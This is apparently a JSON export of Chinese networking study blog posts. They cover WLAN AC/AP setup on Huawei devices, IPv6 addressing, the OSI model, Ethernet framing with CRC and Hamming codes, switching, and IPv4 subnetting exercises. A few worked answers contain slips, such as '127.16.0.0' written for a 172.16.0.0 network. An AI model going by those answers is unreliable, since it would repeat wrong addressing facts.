之间采用直连或者二层网络进行连接组网方式比较简单，适用于临时组网. 三层组网：瘦 AP 和 AC 之间为三层网络，AP 和 AC 不在同一个子网或同一个广播域中，需要路由器或三层交换机进行数据转发. 在实际组网中，一台 AC 可以连接几十台甚至上百台 AP,AP 布置在办公室等场所，AC 布置在机房，因此大型的组网中一般采用三层组网. AC 的连接方式直连式组网: AC 在网络中充当着交换机的角色，AC 下游直接连接 AP, 所有的数据必须经过 AC 到达上层网络. 优点：组网结构清晰，组网实施简单 缺点：整个网络的传输能力决定于 AC 性能 旁挂式组网：AC 旁挂在 AP 上行网络的直连链路上，AP 的业务可以不通过 AC 转发到网关. 优点：易于网络扩展 缺点：部署实施起来相对复杂 capwap无线接入点控制和配置协议，是一个基于 UDP 的应用层协议，即 AC 通过 capwap 隧道实现 AP 的集中管理和控制. 端口: 5246: 管理流量端口 5247: 业务数据流量端口 无线网络中的数据转发模式直接转发：业务流量到达 AP 后将数据转发给汇聚交换机，不需要 AC 来进行处理. 隧道转发: AP 和 AC 之间建立一个 capwap 虚拟隧道，所有的无线的业务流量需要通过隧道到达 AC, 由 AC 转发给交换机. shell[AC6005]wlan[AC6005-wlan-view]regulatory-domain-profile name regpro[AC6005-wlan-regulate-domain-regpro]country-code CN //国家代码[AC6005]capwap source interface Vlanif 20[AC6005]wlan [AC6005-wlan-view]ap-group name apgp1 //AP组[AC6005-wlan-ap-group-apgp1]regulatory-domain-profile regpro //关联配置Warning: Modifying the country code will clear channel, power and antenna gain configurations of the radio and reset the AP. Continue?[Y/N]:y[AC6005-wlan-view]ap auth-mode mac-auth [AC6005-wlan-view]ap-id 1 ap-mac 00e0-fc3e-2980[AC6005-wlan-ap-1]ap-name AP1[AC6005-wlan-ap-1]ap-group apgp1Warning: This operation may cause AP reset. If the country code changes, it will clear channel, power and antenna gain configurations of the radio, Whether to continue? [Y/N]:yInfo: This operation may take a few seconds. Please wait for a moment.. done.[AC6005-wlan-view]ap-id 2 ap-mac 00e0-fcc4-0ca0[AC6005-wlan-ap-2]ap-name AP2[AC6005-wlan-ap-2]ap-group apgp1Warning: This operation may cause AP reset. If the country code changes, it will clear channel, power and antenna gain configurations of the radio, Whether to continue? [Y/N]:yInfo: This operation may take a few seconds. Please wait for a moment.. done.[AC6005-wlan-view]dis ap allInfo: This operation may take a few seconds. Please wait for a moment.done.Total AP information:nor : normal [2]-------------------------------------------------------------------------------------ID MAC Name Group IP Type State STA Uptime-------------------------------------------------------------------------------------1 00e0-fc3e-2980 AP1 apgp1 20.1.1.184 AP2050DN nor 0 2M:31S2 00e0-fcc4-0ca0 AP2 apgp1 20.1.1.60 AP2050DN nor 0 7S-------------------------------------------------------------------------------------Total: 2[AC6005-wlan-view]ssid-profile name ssidpro[AC6005-wlan-ssid-prof-ssidpro]ssid huaweiInfo: This operation may take a few seconds, please wait.done.[AC6005-wlan-view]security-profile name secpro[AC6005-wlan-sec-prof-secpro]security ? open Open system wapi WLAN authentication and privacy infrastructure wep Wired equivalent privacy wpa Wi-Fi protected access wpa-wpa2 Wi-Fi protected access version 1&amp;2 wpa2 Wi-Fi protected access version 2 [AC6005-wlan-sec-prof-secpro]security wpa-wpa2 psk pass-phrase huawei123 aes[AC6005-wlan-view]vap-profile name vappro[AC6005-wlan-vap-prof-vappro]ssid-profile ssidproInfo: This operation may take a few seconds, please wait.done.[AC6005-wlan-vap-prof-vappro]security-profile secproInfo: This operation may take a few seconds, please wait.done.[AC6005-wlan-vap-prof-vappro]forward-mode tunnel [AC6005-wlan-vap-prof-vappro]service-vlan vlan-id 10Info: This operation may take a few seconds, please wait.done.[AC6005-wlan-view]ap-group name apgp1 [AC6005-wlan-ap-group-apgp1]vap-profile vappro wlan 1 radio 0"},{"title":"","date":"2024-04-07T03:00:00.000Z","updated":"2024-04-07T03:00:00.000Z","comments":true,"path":"notes/datacom/29.html","permalink":"https://blog.mhuig.top/notes/datacom/29","excerpt":"","text":"IPv6 IPv6 IPv4IPv4: 互联网协议版本 4, 工作在网络层，用于分配逻辑地址，在网络层进行逻辑寻址 IPv4 协议的缺点: IPv4 地址枯竭. 报文头部设计不合理，因为报文头部长度不是定长. IPv4 协议过度依赖 ARP 协议，导致在网络中广播报文过度泛滥. 32bit 2^32=4E9 延缓 IPv4 地址枯竭的方式: NAT: 由于可以实现多个私网地址共用一个公网地址，极大程度上延缓了 IPv4 公网地址的消耗 VLSM,CIDR,DHCP: 虽然无法增加 IPv4 地址的空间，但是提高了 IPv4 地址的使用率 IPv6 特点近乎无限的地址空间：从 IPv4 的 32bit 增加到了 128bit. 简化了报文头部：现在 IPv6 报文头部是固定长度，从而提高了设备的处理效率，并且增加了灵活的扩展头机制，从而提高了 IPv6 的扩展性. 即插即用：配置 IPv6 的方式更加简单，并且可以实现设备之间的自动配置. 增强了 QoS 特性：增加了流标记域，可以为应用程序或者终端所使用，针对特殊的服务和数据流，分配特定的资源. IPv6 地址1 个十进制数 =&gt;8bit 1 个十六进制数 =&gt;4bit IPv6 地址：长度为 128bit, 为了方便书写，使用十六进制进行表示，每四个十六进制数为一段，共分为 8 段，并且用冒号隔开，这种表示方法称之为” 冒号分十六进制表示法”. IPv6 地址包括两部分: 网络前缀：类似于 IPv4 中的网络位 接口标识：类似于 IPv4 中的主机位 并且在使用 IPv6 地址时，也会用 “/xx” 来表示该 IPv6 地址的网络前缀，类似于子网掩码的作用. IPv6 地址缩写2001:0db8:0000:0000:0008:0800:200c:417a 第一步：每段内如果以数字 0 开头，则 0 可以省略. 2001:db8:0000:0000:8:800:200c:417a 第二步：如果该段为 0000, 则可以简写成一个 0. 2001:db8:0:0:8:800:200c:417a 第三步：如果在 IPv6 地址中出现了连续的多个 0, 则可以简写成 “::”. 2001:db8::8:800:200c:417a 注意: “::”, 双冒号的表示方法在 IPv6 地址缩写中只能使用一次. 2001:0db8:0000:0000:0000:0008:0000:00002001:db8::8:: ????2001:0db8::8:0:00000:0000:0000:0000:0000:0000:0000:0001::12001:0DB8:0000:0000:FB00:1400:5000:45FF2001:DB8::FB00:1400:5000:45FF2001:0DB8:0000:0000:0000:2A2A:0000:00012001:DB8::2A2A:0:12001:0DB8:0000:1234:FB00:0000:5000:45FF2001:DB8::1234:FB00:0:5000:45FF2001:DB8:0:1234:FB00::5000:45FF IPv6 地址分类IPv6 地址的分类: IPv6 中没有广播地址 单播地址：表示配置的设备接口的 IPv6 地址，用于指导报文发往某一设备. 组播地址：表示一组 IPv6 设备，用于 IPv6 的组播通信. 任播地址：表示具备相同服务的设备，该组设备可以配置相同的任播地址，任播地址采用和单播地址相同的地址空间。并且任播地址只能作为目的地址使用，不能作为源地址使用. IPv6 的单播地址全球单播地址：全球范围唯一，类似于 IPv4 中的公网地址，可以用于 IPv6 的互联网所使用. 前 3bit 固定为 001 开头，2000::/3 0x0010=2 0x0011=3 45bit 全局路由前缀：是由运营商进行分配. 16bit 的子网 ID: 用于企业内部分配子网. 唯一本地地址：是 IPv6 中的私网地址，只能够在内网中使用，该地址不可以被公网路由，因此不能直接访问公网. 前 8bit 固定为 1111 1101, FD00::/8 40bit 的全局 ID: 通过伪随机数产生，虽然是通过随机产生，但是冲突概率很低. 16bit 的子网 ID: 用于企业内部分配子网. 链路本地地址：在 IPv4 中没有对应的概念，是一种应用范围受限制的地址类型，链路本地地址只在本地链路内生效，源或者目的为链路本地地址的数据不会被转发到另一条链路上，一般用于基于 IPv6 工作的协议使用的，例如，IPv6 的邻居发现，IPv6 地址无状态自动配置等 前 10bit 固定为 1111 1110 10, FE80::/10 54bit 固定为 0 实验 - IPv6 静态路由1. 使能 IPv6 功能 系统视图下 [R1]ipv6 2. 在接口下使能 IPv6 功能 interface GigabitEthernet0/0/0 ipv6 enable ipv6 address 2001::1/64 查看 IPv6 路由表 display ipv6 routing-table 查看接口的 IPv6 协议摘要信息 (查看接口的 IPv6 地址) display ipv6 interface brief 3. 配置静态路由实现全网互通 [R1]ipv6 route-static 2002:: 64 2001::2[R3]ipv6 route-static 2001:: 64 2002::1 4. 进行连通性测试 [R1]ping ipv6 2002::2 链路本地地址的自动生成方式:采用 EUI-64 算法生成，EUI-64 算法根据设备的唯一硬件地址 (MAC 地址), 生成全球唯一的 64bit 的接口 ID, 从而配置网络前缀得到一个唯一的链路本地地址. 计算规则: 1. 将 MAC 地址从最中间隔开，插入 FFFE. 2. 将 MAC 地址的第 7bit 进行反转. 00e0-fcf0-1886 1. 插入 FFFE 00e0-fcff-fef0-1886 2. 第 7bit 进行反转 0 0 e 00000 0000 e 00000 0010 e 0 0 2 e 0 3.FE80:: 前缀 FE80::02e0:fcff:fef0:1886 实验 - 链路本地地址interface GigabitEthernet0/0/0 ipv6 enable ipv6 address auto link-local[R1]display ipv6 interface brief*down: administratively down(l): loopback(s): spoofingInterface Physical Protocol GigabitEthernet0/0/0 up up [IPv6 Address] FE80::2E0:FCFF:FE98:3F54[R1]ipv6 route-static :: 0 GigabitEthernet 0/0/0[R1]ping ipv6 FE80::2E0:FCFF:FE24:6CBA -i GigabitEthernet 0/0/0[R1]ping ipv6 FE80::2E0:FCFF:FE24:6CBB -i GigabitEthernet 0/0/0"},{"title":"","date":"2023-12-03T05:59:00.000Z","updated":"2023-12-03T05:59:00.000Z","comments":true,"path":"notes/datacom/3.html","permalink":"https://blog.mhuig.top/notes/datacom/3","excerpt":"","text":"网络参考模型 网络参考模型 网络标准为什么制定网络标准: 20 世纪 60 年代，计算机网络得到了飞速发展。各大厂商和标准组织为了在数据通信领域占据主导地位，纷纷推出了各自的网络架构体系和标准，同时各大厂商根据这些标准生产不同的硬件和软件。标准组织和厂商共同努力，促进网络技术的快速发展. ISO(国际标准化组织): 在 1984 年提出了 OSI RM (开放系统互联参考模型) OSI 七层模型 应用层 APDU(PDU, 协议数据单元): 对应用程序提供接口，使用户的数据入录或输出，最接近用户的一层. 表示层 PPDU: 对数据格式转换，可以对数据提供加密、解密、压缩和解压缩的操作. 会话层 SPDU: 在通信双方建立管理和终止会话. 传输层 Sgement(数据段): 维护端到端的连接，流量控制. 网络层 Packet(数据包): 定义了逻辑地址实现了数据从源到目的的转发. 数据链路层 Frame(数据帧): 将数据封装成帧，适应链路层地址在数据链路层上实现数据通信的寻址，差错检测. 物理层 Bit(比特流): 规定设备间传输 bit 流，规定传输介质、电平、速率和针脚等物理特性. 七层模型优点：将服务，接口和协议三个概念明确区分开，理论比较完整，通过七个层次化的结构使不同的系统之间实现可靠通信. 缺点：过于理想化，现实的生产环境比较少能用上，既复杂又不实用，运行效率低，划分不合理. TCP/IP 标准模型应用层：将 OSI 的上三层合并. 传输层：不变. 因特网层：重命名. 网络接入层：将下两层合并. TCP/IP 对等模型应用层：将 OSI 的上三层合并. 传输层 网络层 数据链路层 物理层"},{"title":"","date":"2023-12-04T02:02:00.000Z","updated":"2023-12-04T02:02:00.000Z","comments":true,"path":"notes/datacom/4.html","permalink":"https://blog.mhuig.top/notes/datacom/4","excerpt":"","text":"以太网帧结构 以太网帧结构 协议一套约定俗成的特殊形式，是设备与设备之间的语言，固定格式化信息，所有的设备根据协议的字段来理解报文的作用. 以太网协议分类： IEEE 802.3：一般应用于以太网的控制协议信息。例如 STP 协议使用的是 802.3 的数据帧. Eternet_II：是目前以太网数据使用最多的帧格式. 以太网 MAC 地址F0-03-8C-XX-XX-XX MAC 地址：一台物理设备唯一且不可更改的标识信息，以十六进制表示的. OUI (厂商标识符): 前 24bit, 由 IEEE 管理和分配. RFC 7042 厂商自定义标识：后 24bit, 由厂商自己分配. 单播 MAC 地址：当第 8bit 为 0 时，该地址为单播 MAC 地址. 当十六进制第二位为偶数时第八 bit 一定为 0. 组播 MAC 地址：当第 8bit 为 1 时，该地址为组播 MAC 地址. 组播 MAC 地址不能用作 源 MAC 地址，不能给设备使用. 广播 MAC 地址：当 48bit 全为 1 时，该地址为广播 MAC 地址. 只有单播 MAC 地址可以作为设备的 MAC 地址使用，作为源地址使用. 以太网帧格式 (Eternet_II) D.MAC (destination.MAC): 目的 MAC 地址 6 字节. S.MAC (source.MAC): 源 MAC 地址 6 字节. TYPE: 类型，标识上层协议类型，2 字节. 0x0800: IP 协议 0x0806: ARP 协议 DATA: 数据载荷 可变长度 46 字节 - 1500 字节. FCS(Frame Check Sequence): 帧校验序列，判定数据帧在传递过程中的完整性 4 字节. 通信方式单播：数据从某一台设备单独发送给另一台设备其他设备并接收处理. 组播：数据发向某一个特定的分组，只有在组内的设备才能够监听处理，没有监听该组的设备无法收到数据. 广播：数据发向广播地址，该数据会被网络中所有的设备接收处理 数据帧的发送和接收发送端数据由发送端进行封装，在数据封装成帧时，会在数据帧的头部添加目的 MAC 和源 MAC, 将上层的封装协议在 TYPE 字段标明，随后对数据帧进行计算将得出的值放置在 FCS 字段中，随后发送出去. 接收端接收一个数据帧时，首先核对帧校验，以确保数据完整性，在 FCS 通过后，查看目的 MAC 地址，当目的 MAC 地址与接收方 MAC 地址一致时，或广播地址或自身所监听的组播 MAC 地址时，才会处理该数据帧，否则丢弃，确认是自身所要处理的数据帧后，会根据 TYPE 字段来确定后续的处理协议. 透明传输指不管所传数据时什么样的比特组合，都应当能够在链路上传送。因此，链路层就 “看不见” 有什么妨碍数据传输的东西. 当所传数据中的比特组合恰巧与某一个控制信息完全一样时，就必须采取适当的措施，使收方不会将这样的数据误认为是某种控制信息。这样才能保证数据链路层的传输是透明的. 透明传输是指在数据通信中，传输过程对用户或应用程序是不可见的，即无需用户或应用程序的干预或感知，数据可以自动、无缝地从发送端传输到接收端。在透明传输中，用户或应用程序无需关心底层的通信细节和协议，只需使用高层的接口或 API 来发送和接收数据。 透明传输的目标是提供简化和方便的数据传输体验，使用户能够专注于数据的使用和处理，而无需了解底层的传输机制。透明传输可以在不同的通信网络和协议中实现，包括局域网、广域网、互联网等。 字符计数法帧首部使用一个计数字段 (第一个字节，8 位) 来标明帧内字符数 由于 count 字段的脆弱性，容易出错，不常用. 字符填充法SOH 00000001 帧开始符 （Start of Header） EOT 00000100 帧结束符 （End of Transmission） 非 ASCII 采用字符填充法实现透明传输 ESC EOT 填充转义字符 (ESC) 实现复杂和不兼容性，不常用. eg. PPP 字节填充 RFC 1662 零比特填充法01111110 ……… 01111110 发送端，扫描整个信息字段，只要有连续 5 个连续 1 就立即填入 1 个 0. 接收端，收到一个帧时，先找到标志字段确定边界，再用硬件对比特流进行扫描，发现连续 5 个 1 就把后面的 0 删掉. 保证了透明传输：在传送的比特流中可以传送任意比特组合，而不引起对帧边界的判断错误. 违规编码法曼切斯特编码 “高 - 低”,” 低 - 高” 用 “高 - 高”,” 低 - 低” 来定界帧的起始和终止 普遍使用的帧同步法是 比特填充法和违规编码法. 差错控制差错从何而来 线路本身电气特性产生的随机噪声，信道固有，随机存在 (提高信噪比减少或避免干扰) 外界特定的短暂原因造成的冲击噪声是产生差错的主要原因 (利用编码技术来解决) 位错 (bit 位出错 0 变 1 1 变 0)帧错 (丢失，重复，失序) 检错编码 - 奇偶校验码奇校验码: “1” 的个数为奇数偶校验码: “1” 的个数为偶数 只能检查出奇数个比特错误，检错能力为 50%. 检错编码 - CRC 循环冗余码要传的数据 生成多项式 FCS 帧检验序列 / 冗余码 5 / 2 ….. 1 最终发送数据 5+1=6 接收的数据 生成多项式 6 / 2 ….. 0 余数为 0, 判定无错，接受 准备待传有效数据 分组 d d d d d d 每个组都加上冗余码构成帧再发送 d 位 + r 位 FCS 双方商定的除数 / 生成多项式 r+1 位 1101 FCS 帧检验序列计算方式: 模二 A.K.A 异或 (同 0 异 1) d 位 + r 位 0 / 生成多项式 = 商 ….. r 位 FCS 例子要发送的数据 1101 0110 11 CRC 校验 生成多项式 10011 加 0 生成多项式的阶为 r, 则加 r 个 0 (多项式 r 位阶为 r-1) 10011 生成多项式 阶为 4 模 2 除法 数据加 0 后除以多项式，余数为冗余码 / FCS/CRC 校验码的比特序列 1101 0110 11 0000 / 10011 余数 1110 最终发送数据 1101 0110 11 1110 接收端检错过程 把收到的每一个帧都除以同样的除数，然后检查得到余数 R. 余数为 0, 判定帧没有差错，接受. 余数不为 0, 判定帧有差错，丢弃. FCS 的生成以及接收端的 CRC 检验都是由硬件实现，处理迅速，因此不会延误数据的传输. 链路层使用 CRC 检验能够实现无差错比特传输，不能实现可靠传输 纠错码 - 海明码 确定校验码位数 r 确定校验码和数据的位置 求出校验码值 检错并纠错 海明距离两个合法编码 (码字) 的对应比特取值不同的比特数称为这两个码字的海明距离 (码距), 一个有效编码集中，任意两个合法编码 (码字) 的海明距离的最小值称为该编码集的海明距离 (码距). 1. 确定校验码位数 r数据 / 信息有 m 位，冗余码 / 校验码有 r 位 校验码一共有 种取值 海明不等式 要发送的数据: D=1100 数据的位数 m=4满足不等式的最小 r 为 3D=1100 的海明码应该有 4+3=7 位其中原数据 4 位，校验码 3 位 2. 确定校验码和数据的位置校验码放在序号为 的位置 序号 7 6 5 4 3 2 1值 1 1 0 x_4 0 x_2 x_1 3. 求出校验码值 1** *1* **1二进制 111 110 101 100 011 010 001序号 7 6 5 4 3 2 1值 1 1 0 x_4 0 x_2 x_1 4: 负责 4567 的校验 2: 负责 2367 的校验 1: 负责 1357 的校验 采用偶校验 x_4=0 x_2=0 x_1=1 1** *1* **1二进制 111 110 101 100 011 010 001序号 7 6 5 4 3 2 1值 1 1 0 0 0 0 1 4. 检错并纠错若接收数据 1110001 偶校验 4: 负责 4567 的校验 0111 x 2: 负责 2367 的校验 0011 v 1: 负责 1357 的校验 1011 x 错误位是 5 偶校验 (异或为 0) x_4 异或 0 异或 1 异或 1 异或 1=0 x_4=1 x_2: 0011 x_2=0 x_1: 1011 x_1=1 x_4 x_2 x_1 1 0 1 101 转十进制为 5 , 错误位是 5 流量控制方法停止等待协议每发送完一个帧就停止发送，等待对方的确认，在收到确认后再发送下一个帧 发送窗口大小 = 1 接收窗口大小 = 1 滑动窗口协议发送窗口 接收窗口 后退 N 帧协议 (GBN) 发送窗口大小 &gt; 1 接收窗口大小 = 1 选择重传协议 (SR) 发送窗口大小 &gt; 1 接收窗口大小 &gt; 1 可靠传输：发送端发啥接收端收啥 流量控制：控制发送速率，使接收方有足够缓冲空间接收每一个帧 滑动窗口解决 流量控制和可靠传输."},{"title":"","date":"2023-12-05T01:30:00.000Z","updated":"2023-12-05T01:30:00.000Z","comments":true,"path":"notes/datacom/5.html","permalink":"https://blog.mhuig.top/notes/datacom/5","excerpt":"","text":"交换网络基础 交换网络基础 交换网络交换网络：由交换机所构成的网络. 交换机：工作在二层的全双工设备，能够处理数据帧并且能够根据数据帧的头部进行数据的转发，通过设备之间的唯一信道转发解决了冲突问题. 交换机的转发行为: 泛洪：从某一接口接收的数据帧，从除了收到数据帧的接口以外，所有接口全部发送该数据帧. 当数据帧的目的 MAC 为广播 MAC 时. 当 MAC 地址表中没有数据帧中的 MAC 地址信息时. 转发：从某一接口接收了数据帧，从另一个接口发送. 当发送的数据帧目的 MAC 地址为单播 MAC 地址并且 MAC 地址表中有目的 MAC 地址与接口的映射关系. 丢弃：从某一接口接收了数据帧，要从该接口发送则丢弃. MAC 地址表MAC 地址表：交换机的转发依据，默认状态下，交换机的 MAC 地址表为空. MAC 接口 F0-03-8C-XX-XX-XX G0/0/1 学习MAC 地址表的学习：当交换机从某一个接口收到数据帧时，会将数据帧中的源 MAC 地址和接收该数据帧的端口记录到 MAC 地址表中. MAC 地址表中不会出现组播 MAC 和广播 MAC. 如果交换机的接口上接了一个 HUB 集线器，HUB 接两个 PC, MAC 地址表会学习一个接口上的两个 MAC 地址，两条信息. 如果一个 PC 上接了一个 HUB 集线器，HUB 接两个交换机接口，会产生冲突域，MAC 地址表不会在两个接口发现同一个 MAC 地址. 一个端口下可以学习多个 MAC 地址，但一个 MAC 地址只能对应一个端口. 老化MAC 地址表的老化：在计时器范围内没有再次收到数据帧刷新 MAC 地址表项，则交换机会删除对应的表项. 老化时间: 300s 如果接收的数据帧的端口和记录的端口不同，则会迅速老化原来的表项，生成新的表项. 刷新交换机 MAC 地址表刷新：当交换机已经存在 MAC 地址时，再次收到数据帧，则会刷新 MAC 地址表的计时器."},{"title":"","date":"2023-12-06T01:30:00.000Z","updated":"2023-12-06T01:30:00.000Z","comments":true,"path":"notes/datacom/6.html","permalink":"https://blog.mhuig.top/notes/datacom/6","excerpt":"","text":"IP 编址 IP 编址 IPIP: 网际协议，网络层协议，用来为网络中设备分配逻辑地址. 网络层的逻辑地址就是 IP 地址，IP 地址是可以更改的，当设备在不同网络中，根据所处网络的不同发生变化，在同一个网络内必须保证唯一性。设备有了 IP 地址后，就可以在网络中进行通信. IP 报文头部RFC 791 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|Version| IHL |Type of Service| Total Length |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Identification |Flags| Fragment Offset |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Time to Live | Protocol | Header Checksum |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Source Address |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Destination Address |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Options | Padding |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Example Internet Datagram Header 基本信息行Version: 版本，4bit, 用来标明当前 IP 协议的版本，如果当前报文在 IPv4 时，则该字段的值为 4(0b0100) IHL: IP 头部长度，4bit, 范围 20-60 字节，每个单位代表 4 字节 , 字节 字节 , 字节 字节 字节长度取值一定是四的倍数. DS/TOS: 差分服务域，服务类别，8bit, 让特定的数据拥有更高的优先级. Total length: 数据包总长度，16bit, 用于标识 IP 报文头部加数据载荷的长度，最大 65535 字节. 分片行[MTU: 最大传输单元，用于限制报文不被分片的最大字节，默认情况下 MTU 值为 1500 字节.] ID: 标识，16bit, 用于顺序 IP 报文，同一个报文得到的分片信息中的 ID 相同. Flages: 标志位，3bit. 最高位被保留，固定为 0. 中间位为 DF 位：如果置位为 1, 则表示该报文不能被分片. 最低位称为 more 位：如果置位 1, 则表示后续还有分片报文. 如果报文大于 MTU 值并且 DF 置位，直接丢弃. Offset: 13bit, 片偏移，用于标识分片包在原始报文的位置. 片偏移指出：较长的分组在分片后，某片在原分组中的相对位置。也就是说，相对于用户数据字段的起点，该片从何处开始。片偏移以 8 个字节为偏移单位。这就是说，每个分片的长度一定是 8 字节 (64 位) 的整数倍. 【例】一数据报的总长度为 3820 字节，其数据部分为 3800 字节长 (使用固定自部)，需要分片为长度不超过 1420 字节的数据报片。因固定首部长度为 20 字节，因此每个数据报片的数据部分长度不能超过 1400 字节。于是分为 3 个数据报片，具数据部分的长度分别为 1400 ，1400 和 1000 字节。原始数据报首部被复制为各数据报片的首部，但必须修以有关字段的值。下面给出分片后得出的结果 (请注意片偏移的数值)。 数据报 总长度 标识 MF DF 片偏移 原始数据报 3820 12345 0 0 0(0/8=0) 数据报片 1 1420 12345 1 0 0(0/8=0) 数据报片 2 1420 12345 1 0 175(1400/8=175) 数据报片 3 1020 12345 0 0 350(2800/8=350) 现在假定数据报片 2 经过某个网络时还需要再进行分片，即划分为数据报片 2-1 (携带数据 800 字节) 和数据报片 2-2 (携带数据 600 字节)。那么这两个数据报片的总长度、标识、MF、DF 和片偏移分别为: 820,12345,1,0,175; 620,12345,1,0,275。 功能行TTL: 生存周期，8bit, 用来在 IP 报文转发过程中，打破环路对网络的影响，最大值 255, 会在数据包经过一次第三层转发时减 1. 当值为 0 时数据包被丢弃. Protocol: 8bit, 用于标明网络层处理完 IP 报文后，需要交给上层的某个协议继续处理. 1: ICMP 6: TCP 17: UDP Header Checksum: 16bit, 首部校验和，检测 IP 首部是否发生错误. 地址行SIP: 源 IP 地址，32bit, 表明当前数据包从哪出发. DIP: 目的 IP 地址，32bit, 表明当前数据包去往何处. 可选项Options: 可选项，可变长度，最大 40 字节。军事或研究方向，支持松散源路由，严格源路由等等. IP 地址IP 地址：用来标识网络中的一个节点或网络设备的接口，总长度 32bit, 约 42.9 亿 (), 每个 IP 地址都由网络位和主机位组成. 网络位：用来标明当前设备的网络位置. 主机位：用来标明当前主机在当前网络中的位置. 网络掩码: 32bit, 由连续的 1 和 0 构成，其中 1 标记的是网络位，0 标记的是主机位. 网络地址：当主机位全都为 0 时，表示当前网络信息. 广播地址：当主机位全都为 1 时，表示当前网络范围内的广播地址. 可用地址：可分配给网络中的节点或网络设备接口的地址. 一个网络内的可用 IP 地址 , 表示主机位的位数. 网络地址和广播地址不能直接被节点或网络设备所使用. IP 地址分类有类 IP 地址A: 第一个 bit 为 0, 并且掩码长度为 8. (0.0.0.0-127.255.255.255) B: 前两个 bit 为 10, 并且掩码长度为 16. (128.0.0.0-191.255.255.255) C: 前三个 bit 为 110, 并且掩码长度为 24. (192.0.0.0-223.255.255.255) D: 前四个 bit 为 1110, 组播地址. (224.0.0.0-239.255.255.255) E: 前四个 bit 为 1111. (240.0.0.0-255.255.255.255) 按照使用范围分类公有地址：可以在公网范围内使用的地址. 私有地址：可以在局域网中使用，在不同的局域网中可以重复使用，不能够被公网转发. 私有地址范围: A: 10.0.0.0-10.255.255.255 ; 10.0.0.0/8 B: 172.16.0.0-172.31.255.255 ; 172.16.0.0/12 C: 192.168.0.0-192.168.255.255 ; 192.168.0.0/16 IPv6 私有地址范围: fc00::/7 (ULAs，Unique Local Addresses) 特殊地址这类 IP 地址不能够给设备使用，并且全部具有特定意义. 0.0.0.0: 当设备初次进入网络时，会使用该地址。特定场景下可以代表所有地址. 255.255.255.255: 全网广播地址，可以向广播域内所有设备发送数据. 127.0.0.0-127.255.255.255: 本地环回测试地址，检查本地网卡驱动是否正常. 进制转换十进制转二进制短除法 倒着写: 2|192 0 ---- 2|96 0 --- 2|48 0 --- 2|24 0 --- 2|12 0 --- 2|6 0 --- 2|3 1 -- 12|168 0 ---- 2|84 0 --- 2|42 0 --- 2|21 1 --- 2|10 0 --- 2|5 1 --- 2|2 0 -- 1 权重减法: 192-128=6464-64=01100 0000168-128=4040-32=88-8=01010 1000 二进制转十进制 256 128 64 32 16 8 4 2 1 IP 地址计算172.16.10.1/16 这个 B 类地址的网络地址，广播地址，可用地址数 IP 地址: 172.16.10.1 10101100 00010000 00001010 00000001 网络掩码: 255.255.0.0 11111111 11111111 00000000 00000000 网络地址: 127.16.0.0 10101100 00010000 00000000 00000000 广播地址: 127.16.255.255 10101100 00010000 11111111 11111111 IP 地址数: 可用 IP 地址数: 可用 IP 地址范围: 172.16.0.1-172.16.255.254 192.168.54.6/24网络地址: 192.168.54.0/24广播地址: 192.168.54.255/24IP地址数: 2^8=256可用IP地址数: 2^8-2=254可用IP地址范围: 192.168.54.1-192.168.54.254172.168.54.6 主类B /16网络地址: 172.168.0.0/16广播地址: 172.168.255.255/16IP地址数: 2^16=65536可用IP地址数: 2^16-2=65534可用IP地址范围: 172.168.0.1/16-172.168.255.254/16172.168.54.6 /22172.168.001101 10.6网络地址: 172.168.52.0/22广播地址: 172.168.55.255/22IP地址数: 2^10=1024可用IP地址数: 2^10-2=1022可用IP地址范围: 172.168.52.1/22-172.168.55.254/22 如果公司有 个人，适合的掩码长度是 /26 11111111.11111111.11111111.11000000 255.255.255.192 10.1.56.6 /2810.1.56.0000 0110网络地址: 10.1.56.0/28广播地址: 10.1.56.15/28IP地址数: 2^4=16可用IP地址数: 2^4-2=14可用IP地址范围: 10.1.56.1/28-10.1.56.14/28192.172.168.169 /27192.172.168.101 01001网络地址: 192.172.168.160/27广播地址: 192.172.168.191/27IP地址数: 2^5=32可用IP地址数: 2^5-2=30可用IP地址范围: 192.172.168.161/27-192.172.168.190/27192.168.39.48 /19192.168.001 00111.48网络地址: 192.168.32.0/19广播地址: 192.168.63.255/19IP地址数: 2^13=8192可用IP地址数: 2^13-2=8190可用IP地址范围: 192.168.32.1/19-192.168.63.254/19192.168.56.9 /19192.168.001 11000.9网络地址: 192.168.32.0/19广播地址: 192.168.63.255/19IP地址数: 2^13=8192可用IP地址数: 2^13-2=8190可用IP地址范围: 192.168.32.1/19-192.168.63.254/19172.169.1.9 /6101011 00.169.1.9网络地址: 172.0.0.0/6广播地址: 175.255.255.255/6IP地址数: 2^26=67,108,864可用IP地址数: 2^26-2=67,108,862可用IP地址范围: 172.0.0.1/6-175.255.255.254/6 划分子网向主机位借位形成子网. 可变长子网掩码 VLSM [例] 有一个 C 类网络地址 192.168.1.0/24 , 使用可变长子网掩码给三个子网分别分配 IP 地址 10 台 8 台 5 台 方法 1: 4 个子网 00 000000 0/2601 000000 64/2610 000000 128/2611 000000 192/26 方法 2: 16 个子网 0000 0000 0001 0000 …. [例] 192.168.1.2/24 (主机位 8)共有 25 个地址需求求子网网络号，掩码。广播地址，可划分子网数 2^h-2&gt;=25h&gt;=5 主机位 5n=3可划分2^3=8个子网掩码255.255.255.111 00000255.255.255.224/27子网网络号192.168.1.000 00000 192.168.1.0/27192.168.1.001 00000 192.168.1.32/27192.168.1.010 00000 192.168.1.64/27192.168.1.011 00000 192.168.1.96/27192.168.1.100 00000 192.168.1.128/27192.168.1.101 00000 192.168.1.160/27192.168.1.110 00000 192.168.1.192/27192.168.1.111 00000 